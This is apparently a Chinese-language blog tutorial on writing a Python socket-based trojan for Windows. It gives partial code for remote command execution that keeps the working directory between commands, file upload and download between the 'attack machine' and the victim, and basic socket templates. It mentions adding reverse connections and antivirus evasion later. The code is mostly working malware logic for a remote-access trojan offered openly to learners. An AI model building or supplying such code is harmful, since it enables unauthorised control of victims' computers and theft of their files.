0x01 环境及功能
开发环境:Python3、Windows
功能:基于Python Socket 的远程命令执行 && 文件上传下载
注:Linux环境将更为简单
0x02 思路
一、远程命令执行
流程: 发送命令 ->> 木马调用python os模块执行命令 ->> 回显结果
1.直接执行命令
直接执行命令只能在木马所在目录执行相应的命令,故攻击机直接发送可执行命令即可
2.跨目录命令执行
与直接执行命令不同,当攻击机向木马文件发送命令,木马文件需将切换目录、切换盘、执行命令区分开,由于木马每次执行命令都是从木马所在路径为起点执行, 且木马一次只能接受一条命令,所以木马需要继承上一条命令执行的结果,再执行新的命令。
例: 木马所在靶机上的路径为:D:\test\path\exp.exe
–>>攻击机想查看test路径下的文件列表 若在本机先执行cd … 再执行dir即可得到test路径下文件列表;
若木马文件也是先执行cd… 再执行dir,返回结果将是path路径下的文件列表
–>>攻击机查看C盘config路径下的文件列表 若在本机先执行c: 再执行cd config 再执行dir即可获得config下文件列表;
若木马文件也是如此执行,返回结果依然是path路径下的文件列表
那么该如何让木马文件同在本机执行命令一样呢?当直接执行命令、切换盘、切换目录三种情况混在一起,木马文件该如何去区分以及知道是在哪个路径执行命令呢?即如何去继承上一条命令执行后的路径呢?
客户端(部分代码): cmd获取当前路径:(echo %cd%) | cd
三种情况: 利用正则匹配输入的命令为换盘、换路径或命令执行
1.换盘
if change_pan:
cmd = input_cmd // cmd等于换盘命令,如:cmd=d: 或 cmd=c:
pan_path = cmd // 记录盘符
tmp_path = cmd // 记录执行命令后路径
return tmp_path // 返回当前路径
2.换路径
elif change_path:
cmd = f'{pan_path} && cd {tmp_path}/ && {input_cmd}'
tmp_path = os.popen(f'{cmd} && (echo %cd%) | cd').read() // 记录执行命令后路径
if not tmp_path:
return '没有该目录'
return tmp_path
3.命令执行
else:
cmd = f'{pan_path} && cd {tmp_path.strip()} && {input_cmd}'
if os.system(cmd) != 0:
return 'error'
return do_cmd(cmd) //返回cmd执行结果
服务端(部分代码):
def cmd_operate(tcp_client_socket, input_cmd):
cmd = input_cmd.encode('utf-8')
tcp_client_socket.send(cmd)
recv_data = tcp_client_socket.recv(10240)
print(recv_data.decode('utf-8'))
tcp_client_socket.close()
二、文件上传下载1.上传至木马文件所在目录2.跨目录上传3.下载木马文件目录所在文件4.跨目录下载客户端(部分代码):
def down_put_file(data, new_client_socket): // data为接收到的命令,格式为 put xx.txt 或 down xx.mp4
op, file = data.split(' ')
file_path = f'{tmp_path.strip()}\\{file}' // tmp_path为上一次命令执行后记录的路径,这里做路径+文件名拼接
if op == 'down': // 文件下载
try:
f = open(file_path, 'rb') // 这里利用open来判断是否有我们要下载的文件
file_content = f.read()
new_client_socket.send(file_content) // 一次性读取、传输,也可采用切割传输,适合大文件传输
f.close()
new_client_socket.close()
except:
new_client_socket.send('没有该文件'.encode('utf-8'))
new_client_socket.close()
elif op == 'put': // 文件上传
file_content = new_client_socket.recv(102400000) // 几十M文件没问题,若想传输大文件可采用切割传输
with open(file_path, 'wb') as f:
f.write(file_content)
new_client_socket.send(f'{file_path}'.encode('utf-8')) // 回显上传路径给攻击机
new_client_socket.close()
服务端对应客户端写即可,这里不再赘述
0x03 效果展示
0x04 总结
这样一套下来,大体框架已具雏形,剩下的即是增强容错率、丰富功能如大文件传输、正、反连、免杀、可视化等等…命令执行是基石,若没有命令执行文件上传下载将面临无法确定有什么文件和无法确定文件上传的路径,而命令执行的关键在于如何像本机执行命令一样继承上一次命令执行的结果.代码注释已经非常清楚了,若想学习还有不懂可再联系!
补充:Socket基础
Socket 基础TCP通信
Client
from socket import *
# 创建socket
tcp_client_socket = socket(AF_INET, SOCK_STREAM)
# 目的信息
server_addr = ('server_ip', server_port)
# 连接服务器
tcp_client_socket.connect(server_addr)
# 收发数据
tcp_client_socket.send(data.encode('utf-8'))
recv_data = tcp_client_socket.recv(1024)
# 关闭套接字
tcp_client_socket.close( )
Server
from socket import *
# 创建Socket
tcp_server_socket = socket(AF_INET, SOCK_STREAM)
# 绑定IP、PORT
local_addr = ('IP', port)
tcp_server_socket.bind(local_addr)
# 监听
tcp_server_socket.listen(128) # 监听套接字,等待新的客户端连接
# 接收
new_client_socket,clientAddr = tcp_server_socket.accept() # accept产生新的套接字为客户端服务
recv_data = new_client_socket.recv(1024) # 返回值只有数据
# 发送
new_client_socket.send(data.encode('utf-8'))
# 关闭套接字